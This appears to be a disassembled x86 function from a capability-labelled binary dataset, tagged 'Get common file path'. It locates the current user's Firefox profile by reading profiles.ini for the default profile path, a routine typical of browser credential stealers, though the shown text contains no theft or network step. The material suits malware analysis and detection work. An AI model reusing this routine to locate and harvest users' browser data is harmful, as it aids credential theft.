Function at 0x406946
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push esi
push edi
mov al, byte [0x41c7d0]
mov byte [ebp - 0x610], al
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x60f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 8
pop ecx
mov esi, str.Application_DataMozillaFirefox
lea edi, [ebp - 0x640]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x618], 0x104
and dword [ebp - 0x508], 0
and dword [ebp - 0x61c], 0
lea eax, [ebp - 0x50c]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4069b6
xor eax, eax
jmp 0x406c01
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x610]
push eax
push dword [ebp - 0x50c]
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
test eax, eax
jne 0x4069db
xor eax, eax
jmp 0x406c01
lea eax, [ebp - 0x610]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x416d40
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.profiles.ini
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x416d54
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0
jne 0x406a55
xor eax, eax
jmp 0x406c01
push dword [ebp - 0x614]
push 0x400
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.MSVCRT.dll_fgets]
add esp, 0xc
test eax, eax
je 0x406bee
lea eax, [ebp - 0x504]
push eax
call fcn.0040601f
pop ecx
cmp dword [ebp - 0x61c], 0
jne 0x406ab2
push str.namedefault
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x406ab2
mov dword [ebp - 0x61c], 1
jmp 0x406a55
cmp dword [ebp - 0x61c], 0
je 0x406be9
push str.path
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x406be9
push 0x416d70
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 0
je 0x406b07
mov eax, dword [ebp - 0x648]
mov byte [eax], 0x5c
lea eax, [ebp - 0x504]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
and byte [ebp + eax - 0x505], 0
push 0x416d74
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x64c], eax
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, eax
lea eax, [ebp - 0x640]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
add esi, eax
push dword [ebp - 0x64c]
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esi + eax + 3]
mov dword [ebp - 0x644], eax
push dword [ebp - 0x644]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0
je 0x406be7
lea eax, [ebp - 0x610]
push eax
push dword [ebp - 0x508]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x416d78
push dword [ebp - 0x508]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x640]
push eax
push dword [ebp - 0x508]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x416d7c
push dword [ebp - 0x508]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [ebp - 0x64c]
inc eax
push eax
push dword [ebp - 0x508]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x406bee
jmp 0x406a55
push dword [ebp - 0x614]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, dword [ebp - 0x508]
pop edi
pop esi
leave
ret